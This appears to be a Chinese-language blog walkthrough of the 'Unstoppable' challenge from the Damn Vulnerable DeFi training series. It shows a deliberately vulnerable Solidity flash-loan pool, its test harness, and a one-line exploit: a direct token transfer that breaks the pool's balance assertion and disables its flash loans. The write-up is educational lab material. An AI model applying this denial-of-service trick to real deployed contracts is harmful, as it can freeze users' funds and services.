午时已到

V1

2023/01/08阅读:15主题:凝夜紫

Defi黑客系列:Damn Vulnerable DeFi (一) - Unstoppable

Damn Vulnerable DeFi 是一个 Defi 智能合约攻击挑战系列。内容包括了闪电贷攻击、借贷池、链上预言机等。

在开始之前你需要具备 Solidity 以及 JavaScipt 相关的技能。针对每一题你需要做的就是保证该题的单元测试能够通过。

先执行下面的命令

# 克隆仓库
git clone https://github.com/tinchoabbate/damn-vulnerable-defi.git
# 切换分支
git checkout v2.2.0
# 安装依赖
yarn

在 test 文件中的 *.challenge.js 编写你的解决方案,之后运行 yarn run [挑战名], 没有报错则通过。

首先开始第一题 Unstoppable

题目描述:

有一个余额为 100万个 DVT代币的借贷池子,免费提供了闪电贷的功能。需要有一种方法能够攻击该借贷池,并阻止该借贷池的功能。

该题的智能合约共有两个文件

UnstoppableLender.sol 借贷池合约

contract UnstoppableLender is ReentrancyGuard {
    IERC20 public immutable damnValuableToken; // DVT token实例
    uint256 public poolBalance; // 当前合约中的 DVT 余额

    constructor(address tokenAddress) {
        require(tokenAddress != address(0), "Token address cannot be zero");
        // 由 DVT token 地址创建合约实例
        damnValuableToken = IERC20(tokenAddress);
    }

    // 存入 token 到该合约中
    function depositTokens(uint256 amount) external nonReentrant {
        require(amount > 0, "Must deposit at least one token");
        // 调用 DVT token 智能合约中的 transferFrom 方法
        // 从合约调用者的DVT余额中转 amont 数量到该合约中
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        // 增加余额
        poolBalance = poolBalance + amount;
    }
    
    // 提供的闪电贷方法
    function flashLoan(uint256 borrowAmount) external nonReentrant {
        require(borrowAmount > 0, "Must borrow at least one token");

        // 获取该合约中 token 余额
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        // 确保余额大于借出的数量
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // 确保记录的余额等于真实的余额
        assert(poolBalance == balanceBefore);

        // 将 token 从合约中转出到合约调用者
        damnValuableToken.transfer(msg.sender, borrowAmount);

        // 执行合约调用者的 receiveTokens 方法
        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

        // 确保已返还 token
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

ReceiverUnstoppable.sol 执行闪电贷的合约

import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract ReceiverUnstoppable {
    UnstoppableLender private immutable pool; // 借贷池实例
    address private immutable owner;

    constructor(address poolAddress) {
        pool = UnstoppableLender(poolAddress);
        owner = msg.sender;
    }

    // Pool will call this function during the flash loan
    function receiveTokens(address tokenAddress, uint256 amount) external {
        // 确保该方法的调用者是 pool 地址
        require(msg.sender == address(pool), "Sender must be pool");
        // 返还 token 到 msg.sender
        require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
    }

    // 执行闪电贷
    function executeFlashLoan(uint256 amount) external {
        require(msg.sender == owner, "Only owner can execute flash loan");
        pool.flashLoan(amount);
    }
}

智能合约很简单,有个借贷池的合约,我们可以往其中存入 token, 并且提供了闪电贷的功能。还有个执行闪电贷功能的合约,其可以调用借贷池合约的 flashLoan 方法借出token,并在其回调的方法中返还借出的token。

为了完成使借贷池功能失效,需要在 test/unstoppable/unstoppable.challenge.js 文件中编写你的攻击代码。

const { ethers } = require('hardhat')
const { expect } = require('chai')

describe('[Challenge] Unstoppable'function ({
  let deployer, attacker, someUser

  // Pool has 1M * 10**18 tokens
  const TOKENS_IN_POOL = ethers.utils.parseEther('1000000')
  const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100')

  before(async function ({
    /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
  
    // 生成三个账号
    [deployer, attacker, someUser] = await ethers.getSigners()
    
    // 获取token合约和借贷池合约
    // token 合约位于 contracts/DamnValuableToken.sol,构造函数中给 deployer type(uint256).max 个token
    const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer)
    const UnstoppableLenderFactory = await ethers.getContractFactory('UnstoppableLender', deployer)
    
    // 本地节点中发布 token 合约 和 借贷池合约
    this.token = await DamnValuableTokenFactory.deploy()
    this.pool = await UnstoppableLenderFactory.deploy(this.token.address)
    
    // deployer 授权给借贷池合约可以操作其账户的 TOKENS_IN_POOL 数量的token
    await this.token.approve(this.pool.address, TOKENS_IN_POOL)
    // 将 deployer 的 TOKENS_IN_POOL 数量的 token 转入到借贷池
    await this.pool.depositTokens(TOKENS_IN_POOL)
    
    // 将 deployer 的 INITIAL_ATTACKER_TOKEN_BALANCE 数量的 token 转入到 attacker 地址
    await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE)
    
    // 断言:确保借贷池中 token 转入成功
    expect(
      await this.token.balanceOf(this.pool.address)
    ).to.equal(TOKENS_IN_POOL)
    
    // 断言:确保 attacker 地址中 token 转入成功
    expect(
      await this.token.balanceOf(attacker.address)
    ).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE)

    // 获取执行闪电贷的合约
    const ReceiverContractFactory = await ethers.getContractFactory('ReceiverUnstoppable', someUser)
    // 发布合约
    this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address)
    // someUser 执行合约的 executeFlashLoan 方法,借出10个 token 并返还
    await this.receiverContract.executeFlashLoan(10)
  })

  it('Exploit'async function ({
    /** CODE YOUR EXPLOIT HERE */
    // 从 attacker 的账户转 1 个token到借贷池中
    // 该代码可完成攻击
    await this.token.connect(attacker).transfer(this.pool.address, 1)
  })

  after(async function ({
    /** SUCCESS CONDITIONS */

    // It is no longer possible to execute flash loans
    await expect(
      this.receiverContract.executeFlashLoan(10)
    ).to.be.reverted
  })
})

该测试脚本主要做了几件事

  • 从 deployer 转入 1000000 个 token 到借贷池中
  • 从 deployer 转入 100 个 token 到 attacker 地址中
  • someUser 执行闪电贷借出了 10 个token 并归还
  • 从 attacker 转入 1个 token 到借贷池中
  • 再次执行闪电贷会报错

为什么执行下面的代码会使用闪电贷功能失效呢

await this.token.connect(attacker).transfer(this.pool.address, 1)

原因在于借贷池合约的 flashloan 方法中的assert(poolBalance == balanceBefore); 期望poolBalance的值等于真实余额。 当调用 depositTokens 存入token时,poolBalance 变量能够正确的计算。但当我们手动转入 token 时,poolBalance变量并没有如期的进行相加。而此时借贷池合约中的 token 真实余额是大于 poolBalance 的,所以会使闪电贷功能失效。

最后执行 yarn unstoppable , 测试通过!

分类:

后端

标签:

后端

作者介绍

午时已到
V1